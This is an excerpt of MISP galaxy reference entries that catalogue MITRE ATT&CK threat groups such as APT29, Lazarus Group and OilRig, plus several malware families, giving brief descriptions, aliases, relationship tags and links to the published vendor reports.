https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Taidoor

Taidoor is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government.[[Citation: TrendMicro Taidoor]]

The tag is: *misp-galaxy:mitre-intrusion-set="Taidoor"*

Taidoor is also known as:

- Taidoor

Table 2397. Table References

Links
https://attack.mitre.org/wiki/Group/G0015
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20the%20taidoor%20campaign.pdf

Night Dragon

Night Dragon is a threat group that has conducted activity originating primarily in China.[[Citation: McAfee Night Dragon]]

The tag is: *misp-galaxy:mitre-intrusion-set="Night Dragon"*

Night Dragon is also known as:

- Night Dragon

Night Dragon has relationships with:

- similar: misp-galaxy:threat-actor="Night Dragon" with estimative-language:likelihood-probability="likely"

Table 2398. Table References

Links
https://attack.mitre.org/wiki/Group/G0014
http://www.mcafee.com/us/resources/white-papers/wp-global-energy-cyberattacks-night-dragon.pdf

Naikon

Naikon is a threat group that has focused on targets around the South China Sea.Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.[[Citation: Baumgartner Golovkin Naikon 2015]]

The tag is: *misp-galaxy:mitre-intrusion-set="Naikon"*

Naikon is also known as:

- Naikon

Naikon has relationships with:

- similar: misp-galaxy:threat-actor="Naikon" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Lotus Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT 30" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="APT30 - G0013" with estimative-language:likelihood-probability="likely"

Table 2399. Table References

Links
https://attack.mitre.org/wiki/Group/G0019
http://cdn2.hubspot.net/hubfs/454298/Project%20CAMERASHY%20ThreatConnect%20Copyright%202015.pdf
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf
https://securelist.com/analysis/publications/69953/the-naikon-apt/

Ke3chang

Ke3chang is a threat group attributed to actors operating out of China.[[Citation: Villeneuve et al 2014]]

The tag is: *misp-galaxy:mitre-intrusion-set="Ke3chang"*

Ke3chang is also known as:

- Ke3chang

Table 2400. Table References

Links
https://attack.mitre.org/wiki/Group/G0004
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf

Patchwork

Patchwork is a threat group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. Much of the code used by this group was copied and pasted from online forums.[[Citation: Cymmetria Patchwork]][[Citation: Symantec Patchwork]]

The tag is: *misp-galaxy:mitre-intrusion-set="Patchwork"*

Patchwork is also known as:

- Patchwork
- Dropping Elephant
- Chinastrats

Patchwork has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="MONSOON - G0042" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Dropping Elephant" with estimative-language:likelihood-probability="likely"

Table 2401. Table References

Links
https://attack.mitre.org/wiki/Group/G0040
https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling%20Patchwork.pdf
http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries

APT30

APT30 is a threat group suspected to be associated with the Chinese government.Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.[[Citation: Baumgartner Golovkin Naikon 2015]]

The tag is: *misp-galaxy:mitre-intrusion-set="APT30"*

APT30 is also known as:

- APT30

APT30 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Naikon - G0019" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Naikon" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Lotus Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT 30" with estimative-language:likelihood-probability="likely"

Table 2402. Table References

Links
https://attack.mitre.org/wiki/Group/G0013
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://securelist.com/analysis/publications/69953/the-naikon-apt/

MONSOON

MONSOON is the name of an espionage campaign that apparently started in December 2015 and was ongoing as of July 2016. It is believed that the actors behind MONSOON are the same actors behind Operation Hangover. While attribution is unclear, the campaign has targeted victims with military and political interests in the Indian Subcontinent.[[Citation: Forcepoint Monsoon]] Operation Hangover has been reported as being Indian in origin, and can be traced back to 2010.[[Citation: Operation Hangover May 2013]]

The tag is: *misp-galaxy:mitre-intrusion-set="MONSOON"*

MONSOON is also known as:

- MONSOON
- Operation Hangover

MONSOON has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Patchwork - G0040" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Dropping Elephant" with estimative-language:likelihood-probability="likely"

Table 2403. Table References

Links
https://attack.mitre.org/wiki/Group/G0042
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf
http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling%20an%20Indian%20Cyberattack%20Infrastructure.pdf

APT17

APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations.[[Citation: FireEye APT17]]

The tag is: *misp-galaxy:mitre-intrusion-set="APT17"*

APT17 is also known as:

- APT17
- Deputy Dog

APT17 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Winnti Group - G0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Axiom" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Aurora Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Axiom - G0001" with estimative-language:likelihood-probability="likely"

Table 2404. Table References

Links
https://attack.mitre.org/wiki/Group/G0025
https://www2.fireeye.com/rs/fireeye/images/APT17%20Report.pdf

FIN7

FIN7 is a financially motivated threat group that has primarily targeted the retail and hospitality sectors, often using point-of-sale malware. It is sometimes referred to as Carbanak Group, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately.[[Citation: FireEye FIN7 March 2017]][[Citation: FireEye FIN7 April 2017]]

The tag is: *misp-galaxy:mitre-intrusion-set="FIN7"*

FIN7 is also known as:

- FIN7

FIN7 has relationships with:

- similar: misp-galaxy:threat-actor="Anunak" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Carbanak - G0008" with estimative-language:likelihood-probability="likely"

Table 2405. Table References

Links
https://attack.mitre.org/wiki/Group/G0046
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html

APT3

APT3 is a China-based threat group that researchers have attributed to China’s Ministry of State Security.[[Citation: FireEye Clandestine Wolf]][[Citation: Recorded Future APT3 May 2017]] This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.[[Citation: FireEye Clandestine Wolf]][[Citation: FireEye Operation Double Tap]] As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.[[Citation: Symantec Buckeye]]

The tag is: *misp-galaxy:mitre-intrusion-set="APT3"*

APT3 is also known as:

- APT3
- Gothic Panda
- Pirpi
- UPS Team
- Buckeye
- Threat Group-0110

- TG-0110

APT3 has relationships with:

- similar: misp-galaxy:threat-actor="UPS" with estimative-language:likelihood-probability="likely"

Table 2406. Table References

Links
https://attack.mitre.org/wiki/Group/G0022
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong
https://www.recordedfuture.com/chinese-mss-behind-apt3/
https://www.fireeye.com/blog/threat-research/2014/11/operation%20doubletap.html
https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html

GCMAN

GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services.[[Citation: Securelist GCMAN]]

The tag is: *misp-galaxy:mitre-intrusion-set="GCMAN"*

GCMAN is also known as:

- GCMAN

GCMAN has relationships with:

- similar: misp-galaxy:threat-actor="GCMAN" with estimative-language:likelihood-probability="likely"

Table 2407. Table References

Links
https://attack.mitre.org/wiki/Group/G0036
https://securelist.com/blog/research/73638/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/

Lazarus Group

Lazarus Group is a threat group that has been attributed to the North Korean government.Lazarus Group correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.[[Citation: Novetta Blockbuster]]

The tag is: *misp-galaxy:mitre-intrusion-set="Lazarus Group"*

Lazarus Group is also known as:

- Lazarus Group
- HIDDEN COBRA
- Guardians of Peace

Lazarus Group has relationships with:

- similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="COVELLITE" with estimative-language:likelihood-probability="likely"

Table 2408. Table References

Links
https://attack.mitre.org/wiki/Group/G0032
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
https://www.us-cert.gov/ncas/alerts/TA17-164A

Lotus Blossom

Lotus Blossom is threat group that has targeted government and military organizations in Southeast Asia.[[Citation: Lotus Blossom Jun 2015]] It is also known as Spring Dragon.[[Citation: Spring Dragon Jun 2015]]

The tag is: *misp-galaxy:mitre-intrusion-set="Lotus Blossom"*

Lotus Blossom is also known as:

- Lotus Blossom
- Spring Dragon

Lotus Blossom has relationships with:

- similar: misp-galaxy:threat-actor="Lotus Blossom" with estimative-language:likelihood-probability="likely"

Table 2409. Table References

Links
https://attack.mitre.org/wiki/Group/G0030
https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html
https://securelist.com/blog/research/70726/the-spring-dragon-apt/

Equation

Equation is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives.[[Citation: Kaspersky Equation QA]]

The tag is: *misp-galaxy:mitre-intrusion-set="Equation"*

Equation is also known as:

- Equation

Table 2410. Table References

Links
https://attack.mitre.org/wiki/Group/G0020
https://securelist.com/files/2015/02/Equation%20group%20questions%20and%20answers.pdf

Darkhotel

Darkhotel is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi-Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing.[[Citation: Kaspersky Darkhotel]]

The tag is: *misp-galaxy:mitre-intrusion-set="Darkhotel"*

Darkhotel is also known as:

- Darkhotel

Table 2411. Table References

Links
https://attack.mitre.org/wiki/Group/G0012
https://securelist.com/files/2014/11/darkhotel%20kl%2007.11.pdf

OilRig

OilRig is a threat group with suspected Iranian origins that has targeted Middle Eastern victims since at least 2015.[[Citation: Palo Alto OilRig April 2017]][[Citation: ClearSky OilRig Jan 2017]][[Citation: Palo Alto OilRig May 2016]][[Citation: Palo Alto OilRig Oct 2016]]

The tag is: *misp-galaxy:mitre-intrusion-set="OilRig"*

OilRig is also known as:

- OilRig

OilRig has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="OilRig - G0049" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-pre-attack-intrusion-set="Cleaver - G0003" with estimative-

language:likelihood-probability="likely"

- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Greenbug" with estimative-language:likelihood-probability="likely"

Table 2412. Table References

Links
https://attack.mitre.org/wiki/Group/G0049
http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/
http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/
http://www.clearskysec.com/oilrig/
http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/

Dragonfly

Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems.[[Citation: Symantec Dragonfly]]

The tag is: *misp-galaxy:mitre-intrusion-set="Dragonfly"*

Dragonfly is also known as:

- Dragonfly
- Energetic Bear

Dragonfly has relationships with:

- similar: misp-galaxy:threat-actor="Energetic Bear" with estimative-language:likelihood-probability="likely"

Table 2413. Table References

Links
https://attack.mitre.org/wiki/Group/G0035
http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf

Suckfly

Suckfly is a China-based threat group that has been active since at least 2014.[[Citation: Symantec Suckfly March 2016]]

The tag is: *misp-galaxy:mitre-intrusion-set="Suckfly"*

Suckfly is also known as:

- Suckfly

Suckfly has relationships with:

- similar: misp-galaxy:threat-actor="Suckfly" with estimative-language:likelihood-probability="likely"

Table 2414. Table References

Links
https://attack.mitre.org/wiki/Group/G0039
http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates

Stealth Falcon

Stealth Falcon is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed.[[Citation: Citizen Lab Stealth Falcon May 2016]]

The tag is: *misp-galaxy:mitre-intrusion-set="Stealth Falcon"*

Stealth Falcon is also known as:

- Stealth Falcon

Stealth Falcon has relationships with:

- similar: misp-galaxy:threat-actor="Stealth Falcon" with estimative-language:likelihood-probability="likely"

Table 2415. Table References

Links
https://attack.mitre.org/wiki/Group/G0038
https://citizenlab.org/2016/05/stealth-falcon/

Scarlet Mimic

Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group’s motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same.[[Citation: Scarlet Mimic Jan 2016]]

The tag is: *misp-galaxy:mitre-intrusion-set="Scarlet Mimic"*

Scarlet Mimic is also known as:

- Scarlet Mimic

Scarlet Mimic has relationships with:

- similar: misp-galaxy:threat-actor="Scarlet Mimic" with estimative-language:likelihood-probability="likely"

Table 2416. Table References

Links
https://attack.mitre.org/wiki/Group/G0029
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/

Threat Group-1314

Threat Group-1314 is an unattributed threat group that has used compromised credentials to log into a victim’s remote access infrastructure.[[Citation: Dell TG-1314]]

The tag is: *misp-galaxy:mitre-intrusion-set="Threat Group-1314"*

Threat Group-1314 is also known as:

- Threat Group-1314
- TG-1314

Table 2417. Table References

Links
https://attack.mitre.org/wiki/Group/G0028
http://www.secureworks.com/resources/blog/living-off-the-land/

Turla

Turla is a threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies.[[Citation: Kaspersky Turla]]

The tag is: *misp-galaxy:mitre-intrusion-set="Turla"*

Turla is also known as:

- Turla
- Waterbug

Turla has relationships with:

- similar: misp-galaxy:threat-actor="Turla Group" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT 26" with estimative-language:likelihood-probability="likely"

Table 2418. Table References

Links
https://attack.mitre.org/wiki/Group/G0010
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/

APT29

APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008.[[Citation: F-Secure The Dukes]][[Citation: GRIZZLY STEPPE JAR]] This group reportedly compromised the Democratic National Committee starting in the summer of 2015.[[Citation: Crowdstrike DNC June 2016]]

The tag is: *misp-galaxy:mitre-intrusion-set="APT29"*

APT29 is also known as:

- APT29
- The Dukes
- Cozy Bear

APT29 has relationships with:

- similar: misp-galaxy:threat-actor="APT 29" with estimative-language:likelihood-probability="likely"

Table 2419. Table References

Links
https://attack.mitre.org/wiki/Group/G0016
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf

FIN10

FIN10 is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations.[[Citation: FireEye FIN10 June 2017]]

The tag is: *misp-galaxy:mitre-intrusion-set="FIN10"*

FIN10 is also known as:

- FIN10

FIN10 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="FIN10 - G0051" with estimative-language:likelihood-probability="likely"

Table 2420. Table References

Links
https://attack.mitre.org/wiki/Group/G0051
https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf

menuPass

menuPass is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university.[[Citation: Palo Alto menuPass Feb 2017]][[Citation: Crowdstrike CrowdCast Oct 2013]][[Citation: FireEye Poison Ivy]][[Citation: PWC Cloud Hopper April 2017]][[Citation: FireEye APT10 April 2017]]

The tag is: *misp-galaxy:mitre-intrusion-set="menuPass"*

menuPass is also known as:

- menuPass
- Stone Panda

- APT10
- Red Apollo
- CVNX

menuPass has relationships with:

- similar: misp-galaxy:threat-actor="Stone Panda" with estimative-language:likelihood-probability="likely"

Table 2421. Table References

Links
https://attack.mitre.org/wiki/Group/G0045
https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf
https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem
http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf

Putter Panda

Putter Panda is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA's 3rd General Staff Department (GSD).[[Citation: CrowdStrike Putter Panda]]

The tag is: *misp-galaxy:mitre-intrusion-set="Putter Panda"*

Putter Panda is also known as:

- Putter Panda
- APT2
- MSUpdater

Putter Panda has relationships with:

- similar: misp-galaxy:threat-actor="Putter Panda" with estimative-language:likelihood-probability="likely"

Table 2422. Table References

Links
https://attack.mitre.org/wiki/Group/G0024
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf

Axiom

Axiom is a cyber espionage group suspected to be associated with the Chinese government.Winnti Group use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting.[[Citation: Kaspersky Winnti April 2013]][[Citation: Kaspersky Winnti June 2015]][[Citation: Novetta Winnti April 2015]]

The tag is: *misp-galaxy:mitre-intrusion-set="Axiom"*

Axiom is also known as:

- Axiom
- Group 72

Axiom has relationships with:

- similar: misp-galaxy:threat-actor="Aurora Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Axiom" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Winnti Group - G0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-pre-attack-intrusion-set="APT17 - G0025" with estimative-language:likelihood-probability="likely"

Table 2423. Table References

Links
https://attack.mitre.org/wiki/Group/G0001
https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf
https://securelist.com/blog/incidents/70991/games-are-over/
http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf
http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf

Carbanak

Carbanak is a threat group that mainly targets banks. It also refers to malware of the same name (Carbanak).[[Citation: Kaspersky Carbanak]]

The tag is: *misp-galaxy:mitre-intrusion-set="Carbanak"*

Carbanak is also known as:

- Carbanak
- Anunak

Carbanak has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="FIN7 - G0046" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Anunak" with estimative-language:likelihood-probability="likely"

Table 2424. Table References

Links
https://attack.mitre.org/wiki/Group/G0008
https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf

APT18

APT18 is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical.[[Citation: Dell Lateral Movement]]

The tag is: *misp-galaxy:mitre-intrusion-set="APT18"*

APT18 is also known as:

- APT18
- TG-0416
- Dynamite Panda
- Threat Group-0416

APT18 has relationships with:

- similar: misp-galaxy:threat-actor="Wekby" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Samurai Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Maverick Panda" with estimative-language:likelihood-probability="likely"

Table 2425. Table References

Links
https://attack.mitre.org/wiki/Group/G0026
http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/

APT32

APT32 is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists. The group’s operations are aligned with Vietnamese state interests.[[Citation: FireEye APT32 May 2017]]

The tag is: *misp-galaxy:mitre-intrusion-set="APT32"*

APT32 is also known as:

- APT32
- OceanLotus Group

APT32 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="APT32 - G0050" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT32" with estimative-language:likelihood-probability="likely"

Table 2426. Table References

Links
https://attack.mitre.org/wiki/Group/G0050
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

Gamaredon Group

Gamaredon Group is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government.[[Citation: Palo Alto Gamaredon Feb 2017]]

The tag is: *misp-galaxy:mitre-intrusion-set="Gamaredon Group"*

Gamaredon Group is also known as:

- Gamaredon Group

Gamaredon Group has relationships with:

- similar: misp-galaxy:threat-actor="Gamaredon Group" with estimative-language:likelihood-probability="likely"

Table 2427. Table References

Links
https://attack.mitre.org/wiki/Group/G0047
https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/

Malware

Name of ATT&CK software.

Malware is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

OLDBAIT

OLDBAIT is a credential harvester used by APT28.[[Citation: FireEye APT28]][[Citation: FireEye APT28 January 2017]]

Aliases: OLDBAIT, Sasfis

The tag is: *misp-galaxy:mitre-malware="OLDBAIT"*

OLDBAIT is also known as:

- OLDBAIT
- Sasfis

OLDBAIT has relationships with:

- similar: misp-galaxy:tool="OLDBAIT" with estimative-language:likelihood-probability="likely"

Table 2428. Table References

Links
https://attack.mitre.org/wiki/Software/S0138
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf

SOUNDBITE

SOUNDBITE is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]

The tag is: *misp-galaxy:mitre-malware="SOUNDBITE"*

SOUNDBITE has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="SOUNDBITE - S0157" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="SOUNDBITE" with estimative-language:likelihood-probability="likely"

Table 2429. Table References

Links
https://attack.mitre.org/wiki/Software/S0157
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

CosmicDuke

CosmicDuke is malware that was used by APT29 from 2010 to 2015.[[Citation: F-Secure The Dukes]]

Aliases: CosmicDuke, TinyBaron, BotgenStudios, NemesisGemina

The tag is: *misp-galaxy:mitre-malware="CosmicDuke"*

CosmicDuke is also known as:

- CosmicDuke
- TinyBaron
- BotgenStudios
- NemesisGemina

Table 2430. Table References

Links
https://attack.mitre.org/wiki/Software/S0050
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf

H1N1

H1N1 is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality.[[Citation: Cisco H1N1 Part 1]]

The tag is: *misp-galaxy:mitre-malware="H1N1"*

Table 2431. Table References

Links
https://attack.mitre.org/wiki/Software/S0132
http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities

SPACESHIP

SPACESHIP is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]

The tag is: *misp-galaxy:mitre-malware="SPACESHIP"*

Table 2432. Table References

Links
https://attack.mitre.org/wiki/Software/S0035
https://www2.fireeye.com/rs/fireeye/images/rpt-apt30.pdf

Hi-Zor

Hi-Zor is a remote access tool (RAT) that has characteristics similar to Sakula. It was used in a campaign named INOCNATION.[[Citation: Fidelis Hi-Zor]]

The tag is: *misp-galaxy:mitre-malware="Hi-Zor"*

Hi-Zor has relationships with:

- similar: misp-galaxy:rat="Hi-Zor" with estimative-language:likelihood-probability="likely"

Table 2433. Table References

Links
https://attack.mitre.org/wiki/Software/S0087
http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html

TEXTMATE

TEXTMATE is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with POWERSOURCE in February 2017.[[Citation: FireEye FIN7 March 2017]]

Aliases: TEXTMATE, DNSMessenger

The tag is: *misp-galaxy:mitre-malware="TEXTMATE"*

TEXTMATE is also known as:

- TEXTMATE
- DNSMessenger

TEXTMATE has relationships with:

- similar: misp-galaxy:rat="DNSMessenger" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="POWERSOURCE - S0145" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="DNSMessenger" with estimative-language:likelihood-probability="likely"

Table 2434. Table References

Links
https://attack.mitre.org/wiki/Software/S0146
https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html

Net Crawler

Net Crawler is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using PsExec to execute a copy of Net Crawler.[[Citation: Cylance Cleaver]]

Aliases: Net Crawler, NetC

The tag is: *misp-galaxy:mitre-malware="Net Crawler"*

Net Crawler is also known as:

- Net Crawler
- NetC

Net Crawler has relationships with:

- similar: misp-galaxy:malpedia="NetC" with estimative-language:likelihood-probability="likely"

Table 2435. Table References

Links
https://attack.mitre.org/wiki/Software/S0056
http://www.cylance.com/assets/Cleaver/Cylance%20Operation%20Cleaver%20Report.pdf

BlackEnergy

BlackEnergy is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3.[[Citation: F-Secure BlackEnergy 2014]]

Aliases: BlackEnergy, Black Energy

The tag is: *misp-galaxy:mitre-malware="BlackEnergy"*

BlackEnergy is also known as:

- BlackEnergy
- Black Energy

BlackEnergy has relationships with:

- similar: misp-galaxy:tool="BlackEnergy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="BlackEnergy" with estimative-language:likelihood-probability="likely"

Table 2436. Table References

Links
https://attack.mitre.org/wiki/Software/S0089
https://www.f-secure.com/documents/996508/1030745/blackenergy%20whitepaper.pdf

Pisloader

Pisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group.[[Citation: Palo Alto DNS Requests]]

The tag is: *misp-galaxy:mitre-malware="Pisloader"*

Table 2437. Table References

Links
https://attack.mitre.org/wiki/Software/S0124
http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/

PHOREAL

PHOREAL is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]

The tag is: *misp-galaxy:mitre-malware="PHOREAL"*

PHOREAL has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="PHOREAL - S0158" with estimative-language:likelihood-probability="likely"

Table 2438. Table References

Links
https://attack.mitre.org/wiki/Software/S0158
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

Backdoor.Oldrea

Backdoor.Oldrea is a backdoor used by Dragonfly. It appears to be custom malware authored by the group or specifically for it.[[Citation: Symantec Dragonfly]]

Aliases: Backdoor.Oldrea, Havex

The tag is: *misp-galaxy:mitre-malware="Backdoor.Oldrea"*

Backdoor.Oldrea is also known as:

- Backdoor.Oldrea
- Havex

Backdoor.Oldrea has relationships with:

- similar: misp-galaxy:tool="Havex RAT" with estimative-language:likelihood-probability="likely"

Table 2439. Table References

Links
https://attack.mitre.org/wiki/Software/S0093
